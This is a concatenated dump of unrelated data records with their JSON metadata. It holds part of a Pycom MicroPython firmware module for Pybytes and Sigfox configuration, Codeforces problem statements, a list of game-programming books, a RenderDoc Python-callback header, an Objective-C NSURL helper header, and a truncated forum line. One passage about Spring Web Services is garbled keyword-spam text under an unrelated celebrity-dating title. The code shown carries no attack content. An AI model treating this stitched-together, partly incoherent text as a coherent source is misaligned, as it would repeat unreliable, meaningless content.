char*)pybytes_device_token));\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_pycom_pybytes_device_token_obj, mod_pycom_pybytes_device_token);\n\n\nSTATIC mp_obj_t mod_pycom_pybytes_mqttServiceAddress (void) {\n uint8_t pybytes_mqttServiceAddress[39];\n config_get_pybytes_mqttServiceAddress(pybytes_mqttServiceAddress);\n return mp_obj_new_str((const char*)pybytes_mqttServiceAddress,strlen((const char*)pybytes_mqttServiceAddress));\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_pycom_pybytes_mqttServiceAddress_obj, mod_pycom_pybytes_mqttServiceAddress);\n\nSTATIC mp_obj_t mod_pycom_pybytes_userId (void) {\n uint8_t pybytes_userId[254];\n config_get_pybytes_userId(pybytes_userId);\n return mp_obj_new_str((const char*)pybytes_userId,strlen((const char*)pybytes_userId));\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_pycom_pybytes_userId_obj, mod_pycom_pybytes_userId);\n\nSTATIC mp_obj_t mod_pycom_pybytes_network_preferences (void) {\n uint8_t pybytes_network_preferences[54];\n config_get_pybytes_network_preferences(pybytes_network_preferences);\n return mp_obj_new_str((const char*)pybytes_network_preferences,strlen((const char*)pybytes_network_preferences));\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_pycom_pybytes_network_preferences_obj, mod_pycom_pybytes_network_preferences);\n\nSTATIC mp_obj_t mod_pycom_pybytes_extra_preferences (void) {\n uint8_t pybytes_extra_preferences[99];\n config_get_pybytes_extra_preferences(pybytes_extra_preferences);\n return mp_obj_new_str((const char*)pybytes_extra_preferences,strlen((const char*)pybytes_extra_preferences));\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_0(mod_pycom_pybytes_extra_preferences_obj, mod_pycom_pybytes_extra_preferences);\n\nSTATIC mp_obj_t mod_pycom_pybytes_force_update (mp_uint_t n_args, const mp_obj_t *args) {\n if (n_args) {\n config_set_pybytes_force_update (mp_obj_is_true(args[0]));\n } else {\n return mp_obj_new_bool(config_get_pybytes_force_update());\n }\n return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_pybytes_force_update_obj, 0, 1, mod_pycom_pybytes_force_update);\n\nSTATIC mp_obj_t mod_pycom_smartConfig (mp_uint_t n_args, const mp_obj_t *args) {\n if (n_args) {\n config_set_wifi_smart_config ((uint8_t)(mp_obj_is_true(args[0])), true);\n } else {\n return mp_obj_new_bool(config_get_wifi_smart_config());\n }\n return mp_const_none;\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(mod_pycom_smartConfig_obj, 0, 1, mod_pycom_smartConfig);\n\n#endif //(VARIANT == PYBYTES)\n\n\n// Helper function to return decimal value of a hexadecimal character coded in ASCII\nSTATIC uint8_t hex_from_char(const char c) {\n\n if((uint8_t)c >= '0' && (uint8_t)c <= '9') {\n return c - '0';\n }\n else if((uint8_t)c >= 'A' && (uint8_t)c <= 'F') {\n return c - ('A' - 10);\n }\n else if((uint8_t)c >= 'a' && (uint8_t)c <= 'f') {\n return c - ('a' - 10);\n }\n else {\n // 16 is invalid, because in hexa allowed range is 0 - 15\n return 16;\n }\n\n}\n\n\nSTATIC mp_obj_t mod_pycom_sigfox_info (size_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) {\n enum { ARG_id, ARG_pac, ARG_public_key, ARG_private_key, ARG_force };\n STATIC const mp_arg_t allowed_args[] = {\n { MP_QSTR_id, MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none} },\n { MP_QSTR_pac, MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none} },\n { MP_QSTR_public_key, MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none} },\n { MP_QSTR_private_key, MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_obj = mp_const_none} },\n { MP_QSTR_force, MP_ARG_KW_ONLY | MP_ARG_BOOL, {.u_bool = false} }\n };\n mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)];\n mp_arg_parse_all(n_args, pos_args, kw_args, MP_ARRAY_SIZE(allowed_args), allowed_args, args);\n\n uint8_t id[4];\n uint8_t pac[8];\n uint8_t public_key[16];\n uint8_t private_key[16];\n\n config_get_sigfox_id(id);\n config_get_sigfox_pac(pac);\n config_get_sigfox_public_key(public_key);\n config_get_sigfox_private_key(private_key);\n\n\n if (args[ARG_id].u_obj == mp_const_none && args[ARG_pac].u_obj == mp_const_none && args[ARG_public_key].u_obj == mp_const_none && args[ARG_private_key].u_obj == mp_const_none) {\n // query sigfox info\n\n if ( !is_empty(id, sizeof(id)) && !is_empty(pac, sizeof(pac)) && !is_empty(public_key, sizeof(public_key)) && !is_empty(private_key, sizeof(private_key)) ){\n // all configs valid\n return mp_const_true;\n } else {\n return mp_const_false;\n }\n } else {\n // write sigfox info\n\n // temporary array to store even the longest value from id, pac, public_key and private_key\n uint8_t tmp_array[16];\n size_t length;\n bool ret_val = false;\n\n if (args[ARG_id].u_obj != mp_const_none) {\n\n if ( args[ARG_force].u_bool == true || is_empty(id, sizeof(id)) ) {\n\n const char* id = mp_obj_str_get_data(args[ARG_id].u_obj, &length);\n\n if(length != 8) {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"ID must have length of 8!\"));\n }\n\n // Put together every 2 characters of the string (which are digits from 0 - 9 and a/A - f/F) into 1 bytes because the available space is half of the required one\n for(int i = 0, j = 0; i < length; i = i+2) {\n uint8_t lower_nibble = hex_from_char(id[i+1]);\n uint8_t upper_nibble = hex_from_char(id[i]);\n\n if(lower_nibble == 16 || upper_nibble == 16) {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"ID must only contain hexadecimal digits!\"));\n }\n\n tmp_array[j] = lower_nibble | (upper_nibble << 4);\n j++;\n }\n\n ret_val = config_set_sigfox_id(tmp_array);\n if (ret_val == false) {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Failed to write id\"));\n }\n } else {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Use force option to overwrite existing id!\"));\n }\n }\n if (args[ARG_pac].u_obj != mp_const_none) {\n\n if (args[ARG_force].u_bool == true || is_empty(pac, sizeof(pac))) {\n\n const char* pac = mp_obj_str_get_data(args[ARG_pac].u_obj, &length);\n\n if(length != 16) {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"PAC must have length of 16!\"));\n }\n\n // Put together every 2 characters of the string (which are digits from 0 - 9 and a/A - f/F) into 1 bytes because the available space is half of the required one\n for(int i = 0, j = 0; i < length; i = i+2) {\n uint8_t lower_nibble = hex_from_char(pac[i+1]);\n uint8_t upper_nibble = hex_from_char(pac[i]);\n\n if(lower_nibble == 16 || upper_nibble == 16) {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"PAC must only contain hexadecimal digits!\"));\n }\n\n tmp_array[j] = lower_nibble | (upper_nibble << 4);\n j++;\n }\n\n ret_val = config_set_sigfox_pac(tmp_array);\n if (ret_val == false) {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Failed to write pac\"));\n }\n } else {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Use force option to overwrite existing pac!\"));\n }\n }\n if (args[ARG_public_key].u_obj != mp_const_none) {\n\n if (args[ARG_force].u_bool == true || is_empty(public_key, sizeof(public_key))) {\n\n const char* public_key = mp_obj_str_get_data(args[ARG_public_key].u_obj, &length);\n\n if(length != 32) {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Public Key must have length of 32!\"));\n }\n\n // Put together every 2 characters of the string (which are digits from 0 - 9 and a/A - f/F) into 1 bytes because the available space is half of the required one\n for(int i = 0, j = 0; i < length; i = i+2) {\n uint8_t lower_nibble = hex_from_char(public_key[i+1]);\n uint8_t upper_nibble = hex_from_char(public_key[i]);\n\n if(lower_nibble == 16 || upper_nibble == 16) {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Public Key must only contain hexadecimal digits!\"));\n }\n\n tmp_array[j] = lower_nibble | (upper_nibble << 4);\n j++;\n }\n\n ret_val = config_set_sigfox_public_key(tmp_array);\n if (ret_val == false) {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Failed to write public key\"));\n }\n } else {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Use force option to overwrite existing public key!\"));\n }\n\n }\n if (args[ARG_private_key].u_obj != mp_const_none) {\n\n if (args[ARG_force].u_bool == true || is_empty(private_key, sizeof(private_key))) {\n\n const char* private_key = mp_obj_str_get_data(args[ARG_private_key].u_obj, &length);\n\n if(length != 32) {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Private Key must have length of 32\"));\n }\n\n // Put together every 2 characters of the string (which are digits from 0 - 9 and a/A - f/F) into 1 bytes because the available space is half of the required one\n for(int i = 0, j = 0; i < length; i = i+2) {\n uint8_t lower_nibble = hex_from_char(private_key[i+1]);\n uint8_t upper_nibble = hex_from_char(private_key[i]);\n\n if(lower_nibble == 16 || upper_nibble == 16) {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Private Key must only contain hexadecimal digits!\"));\n }\n\n tmp_array[j] = lower_nibble | (upper_nibble << 4);\n j++;\n }\n\n ret_val = config_set_sigfox_private_key(tmp_array);\n if (ret_val == false) {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Failed to write private key\"));\n }\n } else {\n nlr_raise(mp_obj_new_exception_msg(&mp_type_ValueError, \"Use force option to overwrite existing private key!\"));\n }\n }\n return mp_const_true;\n }\n}\nSTATIC MP_DEFINE_CONST_FUN_OBJ_KW(mod_pycom_sigfox_info_obj, 0, mod_pycom_sigfox_info);\n\nSTATIC const mp_map_elem_t pycom_module_globals_table[] = {\n { MP_OBJ_NEW_QSTR(MP_QSTR___name__), MP_OBJ_NEW_QSTR(MP_QSTR_pycom) },\n { MP_OBJ_NEW_QSTR(MP_QSTR_heartbeat), (mp_obj_t)&mod_pycom_heartbeat_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_rgbled), (mp_obj_t)&mod_pycom_rgb_led_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_ota_start), (mp_obj_t)&mod_pycom_ota_start_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_ota_write), (mp_obj_t)&mod_pycom_ota_write_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_ota_finish), (mp_obj_t)&mod_pycom_ota_finish_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_ota_verify), (mp_obj_t)&mod_pycom_ota_verify_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_ota_slot), (mp_obj_t)&mod_pycom_ota_slot_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_pulses_get), (mp_obj_t)&mod_pycom_pulses_get_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_nvs_set), (mp_obj_t)&mod_pycom_nvs_set_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_nvs_get), (mp_obj_t)&mod_pycom_nvs_get_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_nvs_erase), (mp_obj_t)&mod_pycom_nvs_erase_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_nvs_erase_all), (mp_obj_t)&mod_pycom_nvs_erase_all_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_wifi_on_boot), (mp_obj_t)&mod_pycom_wifi_on_boot_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_wdt_on_boot), (mp_obj_t)&mod_pycom_wdt_on_boot_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_wdt_on_boot_timeout), (mp_obj_t)&mod_pycom_wdt_on_boot_timeout_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_heartbeat_on_boot), (mp_obj_t)&mod_pycom_heartbeat_on_boot_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_lte_modem_en_on_boot), (mp_obj_t)&mod_pycom_lte_modem_on_boot_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_get_free_heap), (mp_obj_t)&mod_pycom_get_free_heap_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_wifi_ssid_sta), (mp_obj_t)&mod_pycom_wifi_ssid_sta_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_wifi_ssid_ap), (mp_obj_t)&mod_pycom_wifi_ssid_ap_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_wifi_pwd_sta), (mp_obj_t)&mod_pycom_wifi_pwd_sta_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_wifi_pwd_ap), (mp_obj_t)&mod_pycom_wifi_pwd_ap_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_wifi_mode_on_boot), (mp_obj_t)&mod_pycom_wifi_mode_obj },\n\n#if defined(FIPY) || defined(LOPY4) || defined(SIPY)\n { MP_OBJ_NEW_QSTR(MP_QSTR_sigfox_info), (mp_obj_t)&mod_pycom_sigfox_info_obj },\n#endif\n\n#if (VARIANT == PYBYTES)\n { MP_OBJ_NEW_QSTR(MP_QSTR_pybytes_device_token), (mp_obj_t)&mod_pycom_pybytes_device_token_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_pybytes_mqttServiceAddress), (mp_obj_t)&mod_pycom_pybytes_mqttServiceAddress_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_pybytes_userId), (mp_obj_t)&mod_pycom_pybytes_userId_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_pybytes_network_preferences), (mp_obj_t)&mod_pycom_pybytes_network_preferences_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_pybytes_extra_preferences), (mp_obj_t)&mod_pycom_pybytes_extra_preferences_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_pybytes_force_update), (mp_obj_t)&mod_pycom_pybytes_force_update_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_smart_config_on_boot), (mp_obj_t)&mod_pycom_smartConfig_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_pybytes_lte_config), (mp_obj_t)&mod_pycom_pybytes_lte_config_obj },\n { MP_OBJ_NEW_QSTR(MP_QSTR_pybytes_on_boot), (mp_obj_t)&mod_pycom_pybytes_on_boot_obj },\n\n#endif //(VARIANT == PYBYTES)\n { MP_OBJ_NEW_QSTR(MP_QSTR_bootmgr), (mp_obj_t)&mod_pycom_bootmgr_obj },\n\n // class constants\n { MP_OBJ_NEW_QSTR(MP_QSTR_FACTORY), MP_OBJ_NEW_SMALL_INT(0) },\n { MP_OBJ_NEW_QSTR(MP_QSTR_OTA_0), MP_OBJ_NEW_SMALL_INT(1) },\n { MP_OBJ_NEW_QSTR(MP_QSTR_FAT), MP_OBJ_NEW_SMALL_INT(0) },\n { MP_OBJ_NEW_QSTR(MP_QSTR_LittleFS), MP_OBJ_NEW_SMALL_INT(1) },\n\n};\n\nSTATIC MP_DEFINE_CONST_DICT(pycom_module_globals, pycom_module_globals_table);\n\nconst mp_obj_module_t pycom_module = {\n .base = { &mp_type_module },\n .globals = (mp_obj_dict_t*)&pycom_module_globals,\n};", "source": "cpt_stack_code", "language": "code", "token_count": 11834, "token_count_with_eod": 11835, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "Kolya has a string s of length n consisting of lowercase and uppercase Latin letters and digits.\n\nHe wants to rearrange the symbols in s and cut it into the minimum number of parts so that each part is a palindrome and all parts have the same lengths. A palindrome is a string which reads the same backward as forward, such as madam or racecar.\n\nYour task is to help Kolya and determine the minimum number of palindromes of equal lengths to cut s into, if it is allowed to rearrange letters in s before cuttings.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Payloadvalidatinginterceptor not working maks chmerkovskiy erin still dating\nThe message dispatcher operates on a message context, and not transport-specific input stream and output stream.\nAs a result, transport specific requests need to read into a Spring Web Services supports multiple transport protocols.\nThe following xml snippets shows an example: The first two bean definitions are straight forward, Spring WS offer other endpoint mapping strategies so feel free to explore.\nThe remoting module in the Core Spring Framework contains a convenient factory bean for the HTTP server: the Finally, Spring Web Services 2.0 introduced support for XMPP, otherwise known as Jabber. Spring Web Services support for XMPP is very similar to the other transports: there is a a Endpoints are the central concept in Spring-WS's server-side support.\nEndpoints provide access to the application behavior which is typically defined by a business service interface.\nAn endpoint interprets the XML request message and uses that input to invoke a method on the business service (typically).\nThe result of that service invocation is represented as a response message.\nThe embedded HTTP Server is a standalone server that is simple to configure.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 236, "token_count_with_eod": 237, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "This is the solo version of the problem. Note that the solution of this problem may or may not share ideas with the solution of the game version. You can solve and get points for both versions independently.\n\nYou can make hacks only if both versions of the problem are solved.\n\nGiven an integer variable $$$x$$$ with the initial value of $$$n$$$. A single break operation consists of the following steps:\n\n- Choose a value $$$y$$$ such that $$$0 \\lt y \\lt x$$$ and $$$0 \\lt (x \\oplus y) \\lt x$$$.\n- Update $$$x$$$ by either setting $$$x = y$$$ or setting $$$x = x \\oplus y$$$.\n\nYou don't need to minimize the number of operations.\n\nHere $$$\\oplus$$$ denotes the bitwise XOR operation.", "source": "cpt_codeforces", "language": "en", "token_count": 170, "token_count_with_eod": 171, "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "Pangea Software's Ultimate Game Programming Guide for Mac OS X\nby Brian Greenstone\nPublisher: Pangea Software, Inc 2004\nNumber of pages: 288\nBrian Greenstone reveals his Mac programming secrets in this must-have book for any aspiring game programmer. The text covers all of the nuances of various Mac OS technologies such as the OpenGL, HID Manager, OpenAL, Rendezvous, Core Graphics, Quicktime, Maya plug-ins, stereo 3D rendering, AltiVec optimizations, networking, copy-protection of games, marketing and sales strategies for self-publishers.\nHome page url\nDownload or read it online for free here:\nby Albert Sweigart\nA programming book for kids interested in learning to program their own computer games with python, a serious computer language which is used by professional programmers also. The book explains programming principles from the source code examples.\nby Michael Morrison - InformIT\nLearn how to use C++ code to create basic animated graphics in this chapter from Beginning Game Programming by Michael Morrison. Practical lesson based on C++ programming, the basics of drawing graphics using the Windows Graphics Device Interface.\nby Antonio Hernandez Bejarano - GitBook\nThis online book will introduce the main concepts required to write a 3D game using the LWJGL 3 library. LWJGL is a Java library that provides access to native APIs used in the development of graphics, audio and parallel computing applications.\nby Richard Fabian - dataorienteddesign.com\nA practical guide for game developers working to create triple A titles across multiple platforms, for independent developers trying to get the most out of target hardware, for anyone who develops cutting edge software in restrictive hardware.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 350, "token_count_with_eod": 351, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"} {"text": "$$$n$$$ people live on the coordinate line, the $$$i$$$-th one lives at the point $$$x_i$$$ ($$$1 \\le i \\le n$$$). They want to choose a position $$$x_0$$$ to meet. The $$$i$$$-th person will spend $$$|x_i - x_0|$$$ minutes to get to the meeting place. Also, the $$$i$$$-th person needs $$$t_i$$$ minutes to get dressed, so in total he or she needs $$$t_i + |x_i - x_0|$$$ minutes.\n\nHere $$$|y|$$$ denotes the absolute value of $$$y$$$.\n\nThese people ask you to find a position $$$x_0$$$ that minimizes the time in which all $$$n$$$ people can gather at the meeting place.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"} {"text": "/******************************************************************************\n * The MIT License (MIT)\n *\n * Copyright (c) 2019-2022 Baldur Karlsson\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n ******************************************************************************/\n\n#pragma once\n\n#include \n#include \n\n// this is defined elsewhere for managing the opaque global_handle object\nextern \"C\" PyThreadState *GetExecutingThreadState(PyObject *global_handle);\nextern \"C\" PyObject *GetCurrentGlobalHandle();\nextern \"C\" void HandleException(PyObject *global_handle);\nextern \"C\" bool IsThreadBlocking(PyObject *global_handle);\nextern \"C\" void SetThreadBlocking(PyObject *global_handle, bool block);\nextern \"C\" void QueueDecRef(PyObject *obj);\nextern \"C\" void ProcessDecRefQueue();\n\nstruct ExceptionData\n{\n bool failFlag = false;\n PyObject *exObj = NULL;\n PyObject *valueObj = NULL;\n PyObject *tracebackObj = NULL;\n};\n\nstruct ExceptionHandler\n{\n struct CreateTag\n {\n };\n explicit ExceptionHandler(CreateTag) : m_storage(new Storage) { m_storage->m_ref = 1; }\n ~ExceptionHandler()\n {\n if(m_storage)\n {\n m_storage->m_ref--;\n if(m_storage->m_ref == 0)\n delete m_storage;\n }\n m_storage = NULL;\n }\n ExceptionHandler(const ExceptionHandler &o) : m_storage(o.m_storage) { m_storage->m_ref++; }\n ExceptionHandler &operator=(const ExceptionHandler &o)\n {\n this->~ExceptionHandler();\n m_storage = o.m_storage;\n m_storage->m_ref++;\n return *this;\n }\n ExceptionData &data() { return m_storage->data; }\n const ExceptionData &data() const { return m_storage->data; }\n operator bool() const { return m_storage->valid; }\n void disconnect() { m_storage->valid = false; }\nprivate:\n struct Storage\n {\n ExceptionData data;\n bool valid = true;\n std::atomic m_ref;\n };\n Storage *m_storage = NULL;\n};\n\nstruct StackExceptionHandler\n{\n StackExceptionHandler() : m_Handler(ExceptionHandler::CreateTag()) {}\n ~StackExceptionHandler() { m_Handler.disconnect(); }\n ExceptionData &data() { return m_Handler.data(); }\n operator ExceptionHandler() { return m_Handler; }\nprivate:\n ExceptionHandler m_Handler;\n};\n\n// this function handles failures in callback functions. If we're synchronously calling the callback\n// from within an execute scope, then we can assign to failflag and let the error propagate upwards.\n// If we're not, then the callback is being executed on another thread with no knowledge of python,\n// so we need to use the global handle to try and emit the exception through the context. None of\n// this is multi-threaded because we're inside the GIL at all times\ninline void HandleCallbackFailure(PyObject *global_handle, ExceptionHandler exHandle)\n{\n // if there's no global handle assume we are not running in the usual environment, so there are no\n // external-to-python threads.\n // Specifically this is when we're imported as a module directly into python with none of our\n // harness, so this is running as pure glue code.\n if(!global_handle)\n {\n if(exHandle)\n exHandle.data().failFlag = true;\n else\n RENDERDOC_LogMessage(LogType::Error, \"QTRD\", __FILE__, __LINE__,\n \"Callback failure with no global handle and no valid parent scope!\");\n return;\n }\n\n PyThreadState *current = PyGILState_GetThisThreadState();\n PyThreadState *executing = GetExecutingThreadState(global_handle);\n\n // we are executing synchronously and the exception handler is still valid, set the flag and\n // return to the parent scope where it exists and will handle the exception\n if(current == executing && exHandle)\n {\n exHandle.data().failFlag = true;\n return;\n }\n\n // if we have the blocking flag set, then we may be on another thread but we can still propagate\n // up the error\n if(IsThreadBlocking(global_handle))\n {\n if(exHandle)\n {\n exHandle.data().failFlag = true;\n\n // we need to rethrow the exception to that thread, so fetch (and clear it) on this thread.\n //\n // Note that the exception can only propagate up to one place. However since we know that\n // python is inherently single threaded, so if we're doing this blocking funciton call on\n // another thread then we *know* there isn't python further up the stack. Therefore we're safe\n // to swallow the exception here (since there's nowhere for it to bubble up to anyway) and\n // rethrow on the python thread.\n PyErr_Fetch(&exHandle.data().exObj, &exHandle.data().valueObj, &exHandle.data().tracebackObj);\n }\n return;\n }\n\n // in this case we are executing asynchronously, and must handle the exception manually as there's\n // nothing above us that knows about python exceptions\n HandleException(global_handle);\n}\n\ntemplate \ninline T get_return(const char *funcname, PyObject *result, PyObject *global_handle,\n ExceptionHandler exHandle)\n{\n T val = T();\n\n int res = ConvertFromPy(result, val);\n\n if(!SWIG_IsOK(res))\n {\n HandleCallbackFailure(global_handle, exHandle);\n\n PyErr_Format(PyExc_TypeError, \"Unexpected type for return value of callback in %s\", funcname);\n }\n\n Py_XDECREF(result);\n\n return val;\n}\n\ntemplate <>\ninline void get_return(const char *funcname, PyObject *result, PyObject *global_handle,\n ExceptionHandler exHandle)\n{\n Py_XDECREF(result);\n}\n\nstruct PyObjectRefCounter\n{\n PyObjectRefCounter(PyObject *o) : obj(o) { Py_INCREF(obj); }\n PyObjectRefCounter(const PyObjectRefCounter &o)\n {\n obj = o.obj;\n Py_INCREF(obj);\n }\n ~PyObjectRefCounter()\n {\n // it may not be safe at the point this is destroyed to decref the object. For example if a\n // python lambda is passed into a C++ invoke function, we will be holding the only reference to\n // that lambda here when the async invoke completes and destroyed the std::function wrapping it.\n // Without python executing we can't decref it to 0. Instead we queue the decref, and it will be\n // done as soon as safely possible.\n if(PyGILState_Check() == 0)\n QueueDecRef(obj);\n else\n Py_DECREF(obj);\n }\n PyObject *obj;\n};\n\ntemplate \nstruct varfunc\n{\n varfunc(const char *funcname, paramTypes... params)\n {\n args = PyTuple_New(sizeof...(paramTypes));\n\n currentarg = 0;\n\n // avoid unused parameter errors when calling a parameter-less function\n (void)funcname;\n\n using expand_type = int[];\n (void)expand_type{0, (push_arg(funcname, params), 0)...};\n }\n\n template \n void push_arg(const char *funcname, const T &arg)\n {\n if(!args)\n return;\n\n PyObject *obj = ConvertToPy(arg);\n\n if(!obj)\n {\n Py_DecRef(args);\n args = NULL;\n\n PyErr_Format(PyExc_TypeError, \"Unexpected type for arg %d of callback in %s\", currentarg + 1,\n funcname);\n\n return;\n }\n\n PyTuple_SetItem(args, currentarg++, obj);\n }\n\n ~varfunc() { Py_XDECREF(args); }\n rettype call(const char *funcname, PyObject *func, PyObject *global_handle,\n ExceptionHandler exHandle)\n {\n if(!func || !PyCallable_Check(func) || !args)\n {\n HandleCallbackFailure(global_handle, exHandle);\n return rettype();\n }\n\n ProcessDecRefQueue();\n\n PyObject *result = PyObject_Call(func, args, 0);\n\n Py_DECREF(args);\n\n if(result == NULL)\n {\n HandleCallbackFailure(global_handle, exHandle);\n return rettype();\n }\n\n return get_return(funcname, result, global_handle, exHandle);\n }\n\n int currentarg = 0;\n PyObject *args;\n};\n\nstruct ScopedFuncCall\n{\n ScopedFuncCall(PyObject *h)\n {\n handle = h;\n Py_XINCREF(handle);\n gil = PyGILState_Ensure();\n }\n\n ~ScopedFuncCall()\n {\n Py_XDECREF(handle);\n PyGILState_Release(gil);\n }\n\n PyObject *handle;\n PyGILState_STATE gil;\n};\n\ntemplate \nfuncType ConvertFunc(const char *funcname, PyObject *func, ExceptionHandler exHandle)\n{\n // allow None to indicate no callback\n if(func == Py_None)\n return funcType();\n\n // add a reference to the global object so it stays alive while we execute, in case this is an\n // async call\n PyObject *global_internal_handle = NULL;\n\n // walk the frames until we find one with _renderdoc_internal. If we call a function in another\n // module the globals may not have the entry, but the root level is expected to.\n {\n _frame *frame = PyEval_GetFrame();\n\n while(frame)\n {\n global_internal_handle = PyDict_GetItemString(frame->f_globals, \"_renderdoc_internal\");\n\n if(global_internal_handle)\n break;\n frame = frame->f_back;\n }\n }\n\n if(!global_internal_handle)\n global_internal_handle = GetCurrentGlobalHandle();\n\n // process any dangling functions that may need to be cleared up\n ProcessDecRefQueue();\n\n // create a copy that will keep the function object alive as long as the lambda is\n PyObjectRefCounter funcptr(func);\n\n return [global_internal_handle, funcname, funcptr, exHandle](auto... param) {\n ScopedFuncCall gil(global_internal_handle);\n\n varfunc f(funcname, param...);\n return f.call(funcname, funcptr.obj, global_internal_handle, exHandle);\n };\n}", "source": "cpt_stack_code", "language": "code", "token_count": 2629, "token_count_with_eod": 2630, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "#import \n\n@interface NSURL (OVDirectories)\n\n\n/** Returns an NSURL representing the first path found matching the specified constants or nil if none */\n+ (NSURL *)URLForDirectory:(NSSearchPathDirectory)directoryConstant domainMask:(NSSearchPathDomainMask)domainMask;\n\n/** Returns the application support directory with the app's bundle id appended. As recommended in the Fil System Programming Guide */\n+ (NSURL *)URLForApplicationSupportDataDirectory;\n\n/** Append a subfolder/file path onto the app data directory */\n+ (NSURL *)URLForApplicationSupportWithAppendedPath:(NSString *)pathToAppend;\n\n/** Returns the user directory */\n+ (NSURL *)URLForUserDirectory;\n\n/** Append a subfolder/file path onto the user directory */\n+ (NSURL *)URLForUserDirectoryWithAppendedPath:(NSString *)pathToAppend;\n\n\n/** Returns the user's document directory */\n+ (NSURL *)URLForDocumentDirectory;\n\n/** Append a subfolder/file path onto the user's document directory */\n+ (NSURL *)URLForDocumentDirectoryWithAppendedPath:(NSString *)pathToAppend;\n\n/** Uses NSTemporaryDirectory() to get a URL to a temp folder */\n+ (NSURL *)URLForTemporaryDirectory;\n\n/** URL to a temporary subfolder and/or file */\n+ (NSURL *)URLForTemporaryDirectoryWithAppendedPath:(NSString *)pathToAppend;\n\n@end", "source": "cpt_stack_code", "language": "code", "token_count": 297, "token_count_with_eod": 298, "validation_channel": "code", "validation_source": "cpt_stack_code"} {"text": "sosley, I am getting the same warning: Warning: Missing argument 1 for 